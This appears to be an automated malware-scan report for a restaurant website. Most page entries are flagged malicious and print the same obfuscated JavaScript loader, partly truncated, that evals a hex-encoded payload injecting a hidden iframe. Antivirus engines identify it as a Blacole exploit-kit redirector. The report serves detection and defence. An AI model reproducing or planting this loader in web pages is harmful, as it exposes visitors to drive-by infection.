Request | Server response | Status |
http://www.sanramonquiznos.com/ | 200 OK Content-Length: 17384 Content-Type: text/html | clean |
http://www.sanramonquiznos.com/aboutus.html | 200 OK Content-Length: 28107 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/staff.html | 200 OK Content-Length: 21277 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/contactus.html | 200 OK Content-Length: 25961 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/directions.html | 200 OK Content-Length: 19933 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/testimonials.html | 200 OK Content-Length: 22679 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/subs.html | 200 OK Content-Length: 25319 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/soupnsalad.html | 200 OK Content-Length: 23314 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/stuff.html | 200 OK Content-Length: 23864 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/history.html | 200 OK Content-Length: 22565 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/chambers.html | 200 OK Content-Length: 32979 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/legal.html | 200 OK Content-Length: 36648 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,69,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,69,5b,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6b,5f,5c,6a,6b,66,69,58,5e,5c,5d,58,69,64,25,5a,58,2
... 3133 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1306!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://www.sanramonquiznos.com/index.html | 200 OK Content-Length: 17384 Content-Type: text/html | clean |
http://www.sanramonquiznos.com/menu.html | 200 OK Content-Length: 20245 Content-Type: text/html | malicious |
